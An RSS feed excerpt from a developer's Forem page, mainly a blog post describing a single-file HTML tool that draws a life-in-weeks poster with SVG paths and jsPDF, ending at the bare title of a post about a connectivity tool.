<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Ali Alp</title>
    <description>The latest articles on Forem by Ali Alp (@alialp).</description>
    <link>https://forem.com/alialp</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F75246%2F73159765-d92c-4500-bf44-2ccb5ddca661.jpg</url>
      <title>Forem: Ali Alp</title>
      <link>https://forem.com/alialp</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/alialp"/>
    <language>en</language>
    <item>
      <title>Did you ever wondered to see your whole life in one page calendar ?</title>
      <dc:creator>Ali Alp</dc:creator>
      <pubDate>Thu, 07 May 2026 20:36:38 +0000</pubDate>
      <link>https://forem.com/alialp/did-you-ever-wondered-to-see-your-whole-life-in-one-page-calendar--ecc</link>
      <guid>https://forem.com/alialp/did-you-ever-wondered-to-see-your-whole-life-in-one-page-calendar--ecc</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/alialp/i-built-a-life-in-weeks-poster-generator-in-one-html-file-40hp" class="crayons-story__hidden-navigation-link"&gt;I built a 'life in weeks' poster generator in one HTML file&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/alialp" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F75246%2F73159765-d92c-4500-bf44-2ccb5ddca661.jpg" alt="alialp profile" class="crayons-avatar__image" width="732" height="976"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/alialp" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Ali Alp
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Ali Alp
                
              
              &lt;div id="story-author-preview-content-3629078" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/alialp" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F75246%2F73159765-d92c-4500-bf44-2ccb5ddca661.jpg" class="crayons-avatar__image" alt="" width="732" height="976"&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Ali Alp&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/alialp/i-built-a-life-in-weeks-poster-generator-in-one-html-file-40hp" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;May 7&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/alialp/i-built-a-life-in-weeks-poster-generator-in-one-html-file-40hp" id="article-link-3629078"&gt;
          I built a 'life in weeks' poster generator in one HTML file
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/productivity"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;productivity&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/javascript"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;javascript&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/life"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;life&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/alialp/i-built-a-life-in-weeks-poster-generator-in-one-html-file-40hp" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/exploding-head-daceb38d627e6ae9b730f36a1e390fca556a4289d5a41abb2c35068ad3e2c4b5.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/multi-unicorn-b44d6f8c23cdd00964192bedc38af3e82463978aa611b4365bd33a0f1f4f3e97.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;5&lt;span class="hidden s:inline"&gt; reactions&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/alialp/i-built-a-life-in-weeks-poster-generator-in-one-html-file-40hp#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              Comments


              &lt;span class="hidden s:inline"&gt;Add Comment&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            4 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
    </item>
    <item>
      <title>I built a 'life in weeks' poster generator in one HTML file</title>
      <dc:creator>Ali Alp</dc:creator>
      <pubDate>Thu, 07 May 2026 20:35:24 +0000</pubDate>
      <link>https://forem.com/alialp/i-built-a-life-in-weeks-poster-generator-in-one-html-file-40hp</link>
      <guid>https://forem.com/alialp/i-built-a-life-in-weeks-poster-generator-in-one-html-file-40hp</guid>
      <description>&lt;p&gt;I made a tool that draws every week of your life on a single sheet of paper.&lt;/p&gt;

&lt;p&gt;A long human life is roughly 5,200 weeks. That's a 100-row × 52-column grid — small enough to fit on one A4 page, big enough that you instinctively try to count them. The tool fills in the weeks you've already lived, leaves the rest empty, and exports a PDF you can print.&lt;/p&gt;

&lt;p&gt;Live: &lt;a href="https://alicommit-malp.github.io/life-in-weeks/" rel="noopener noreferrer"&gt;https://alicommit-malp.github.io/life-in-weeks/&lt;/a&gt;&lt;br&gt;
Source: &lt;a href="https://github.com/alicommit-malp/life-in-weeks" rel="noopener noreferrer"&gt;https://github.com/alicommit-malp/life-in-weeks&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It's also a quiet experiment in restraint:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;One file (&lt;code&gt;index.html&lt;/code&gt; — HTML, CSS, JS, all of it)&lt;/li&gt;
&lt;li&gt;No framework, no bundler, no &lt;code&gt;package.json&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Two CDN deps: jsPDF and Google Fonts&lt;/li&gt;
&lt;li&gt;No backend, no analytics, no &lt;code&gt;localStorage&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;$0 hosting, $0 forever&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This post is about the design decisions. There's just enough code to show what's interesting; the rest is on GitHub.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why one file?
&lt;/h2&gt;

&lt;p&gt;Because the surface area is small. The whole product is "type your name and birthdate, click two buttons." A build step buys nothing — and "no build step" buys something real: anyone can clone the repo, double-click &lt;code&gt;index.html&lt;/code&gt;, and run it offline. No &lt;code&gt;npm install&lt;/code&gt;, no Node version mismatch, no broken Vite plugin two years from now.&lt;/p&gt;

&lt;p&gt;This wasn't dogma. I genuinely tried to imagine a v2 that needed React. I couldn't justify it.&lt;/p&gt;
&lt;h2&gt;
  
  
  Drawing 5,200 circles fast
&lt;/h2&gt;

&lt;p&gt;The naive approach is &lt;code&gt;&amp;lt;circle&amp;gt;&lt;/code&gt; × 5,200. It works, but that's a lot of DOM nodes.&lt;/p&gt;

&lt;p&gt;The trick: &lt;strong&gt;two &lt;code&gt;&amp;lt;path&amp;gt;&lt;/code&gt; elements&lt;/strong&gt;, one for filled circles and one for empty ones. Build the path data as a single string of moveto + arc commands.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;circlePath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;cy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;`M&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;cy&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; m&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;,0 a&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; 0 1,0 &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;,0 a&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; 0 1,0 &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;,0 `&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;filledD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;emptyD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;YEARS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;gridTop&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;ROW_H&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;w&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;w&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;WEEKS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;leftX&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;CELL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;WEEKS&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;totalWeeks&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;filledD&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;circlePath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;cy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;CIRCLE_R&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="nx"&gt;emptyD&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nf"&gt;circlePath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;cy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;CIRCLE_R&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;M cx,cy m -r,0 a r,r 0 1,0 2r,0 a r,r 0 1,0 -2r,0&lt;/code&gt; pattern draws a circle as two half-arcs from a moveto point. Subsequent &lt;code&gt;M&lt;/code&gt; commands inside the same &lt;code&gt;d&lt;/code&gt; attribute start a new disconnected subpath, so one &lt;code&gt;&amp;lt;path&amp;gt;&lt;/code&gt; element ends up containing 5,000+ circles.&lt;/p&gt;

&lt;p&gt;Two DOM nodes instead of 5,200. Render is instant.&lt;/p&gt;

&lt;h2&gt;
  
  
  Keeping the PDF honest
&lt;/h2&gt;

&lt;p&gt;The on-screen preview is SVG. The download is a real PDF, generated by &lt;strong&gt;jsPDF&lt;/strong&gt; from &lt;code&gt;circle()&lt;/code&gt;, &lt;code&gt;line()&lt;/code&gt;, and &lt;code&gt;text()&lt;/code&gt; primitives. They have to look identical — if the preview lies, the user feels cheated the moment they hit "Download."&lt;/p&gt;

&lt;p&gt;The fix is shared coordinate math. jsPDF in &lt;code&gt;pt&lt;/code&gt; units uses A4 = 595.27 × 841.89, top-left origin, y growing down — exactly like SVG. So both renderers consume the same constants:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PAGE_W&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;595.27&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PAGE_H&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;841.89&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;2.83465&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 1 mm in pt&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;computeLayout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;years&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cellWMax&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PAGE_W&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;LEFT_M&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;RIGHT_M&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cellHMax&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PAGE_H&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;TOP_M&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;BOTTOM_M&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;years&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cell&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cellWMax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;cellHMax&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="c1"&gt;// ... gridW, gridH, leftX, gridTop, circleR, font sizes, tick step&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both &lt;code&gt;renderSVG()&lt;/code&gt; and &lt;code&gt;renderPDF()&lt;/code&gt; call &lt;code&gt;computeLayout(years)&lt;/code&gt; and then walk identical loops. Change a margin in one place, both renderers update. No divergence.&lt;/p&gt;

&lt;h2&gt;
  
  
  The layout is height-constrained — and that's a feature
&lt;/h2&gt;

&lt;p&gt;100 rows × 52 columns of &lt;em&gt;square&lt;/em&gt; circles on a single A4 page means cell size is capped by &lt;strong&gt;page height&lt;/strong&gt;, not width. The grid ends up about 135 mm wide — there are ~24 mm of empty margin on the left and right. People keep wanting to "fix" this.&lt;/p&gt;

&lt;p&gt;Earlier iterations tried:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Two-page A4&lt;/strong&gt; — wider circles, but you have to tape the pages together&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Landscape A4&lt;/strong&gt; — counterintuitively gives &lt;em&gt;smaller&lt;/em&gt; circles, because height becomes the new constraint&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stretched ovals&lt;/strong&gt; — looks bad&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The empty side margins are correct. They're the price of the proportions. I kept them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Adding pets
&lt;/h2&gt;

&lt;p&gt;Recently I added a Human / Dog / Cat selector. Dogs get 20 rows × 52 columns; cats, 25. For shorter spans, the cell size becomes width-constrained instead, so circles get bigger, and the tick axis switches from a 10-year step to a 5-year step:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;SPECIES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;human&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;years&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;placeholder&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;e.g. Ali&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;dog&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;years&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="na"&gt;placeholder&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;e.g. Spot&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;cat&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;years&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="na"&gt;placeholder&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;e.g. Mochi&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// inside computeLayout:&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tickStep&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;years&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because all the layout state went through one function, adding species was a small diff plus a CSS segmented control. I didn't have to touch the rendering loops at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Going against the SaaS look
&lt;/h2&gt;

&lt;p&gt;Most "free tool" landing pages use the same recipe: Inter, gradient backgrounds, rounded cards with shadows, a Lucide icon next to every heading. Safe and forgettable.&lt;/p&gt;

&lt;p&gt;I went the other way:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fraunces&lt;/strong&gt; for the display serif (italic accent on &lt;em&gt;in weeks&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;JetBrains Mono&lt;/strong&gt; for everything else&lt;/li&gt;
&lt;li&gt;Warm off-white paper background with a faint radial-gradient grain&lt;/li&gt;
&lt;li&gt;One emphasis color — terracotta — used sparingly&lt;/li&gt;
&lt;li&gt;A magazine-style masthead bar at the top&lt;/li&gt;
&lt;li&gt;Inputs are typewriter-style: serif text, single underline, no boxed fields&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It looks more like a printed thing than a webapp. Which is the point — the output &lt;em&gt;is&lt;/em&gt; a printed thing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Privacy is the simple kind
&lt;/h2&gt;

&lt;p&gt;There's no backend, no &lt;code&gt;fetch&lt;/code&gt; to any server I control, no analytics, no cookies, no &lt;code&gt;localStorage&lt;/code&gt;. Your name and birthdate never leave the browser tab.&lt;/p&gt;

&lt;p&gt;The only network requests are Google Fonts and jsPDF from cdnjs. Neither receives the form data.&lt;/p&gt;

&lt;p&gt;I didn't need a privacy policy because there's nothing to disclose.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cost
&lt;/h2&gt;

&lt;p&gt;GitHub Pages serves the file. The fonts are free. jsPDF is MIT. Total monthly cost: &lt;strong&gt;$0&lt;/strong&gt;. I expect it to keep being.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Live: &lt;a href="https://alicommit-malp.github.io/life-in-weeks/" rel="noopener noreferrer"&gt;https://alicommit-malp.github.io/life-in-weeks/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Source: &lt;a href="https://github.com/alicommit-malp/life-in-weeks" rel="noopener noreferrer"&gt;https://github.com/alicommit-malp/life-in-weeks&lt;/a&gt; (MIT)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fork it, print it, gift it.&lt;/p&gt;

</description>
      <category>productivity</category>
      <category>javascript</category>
      <category>life</category>
    </item>
    <item>
      <title>Introducing Tunnel Whisperer: Surgical Connectivity for Networks That Say "No"</title>
      <dc:creator>Ali Alp</dc:creator>
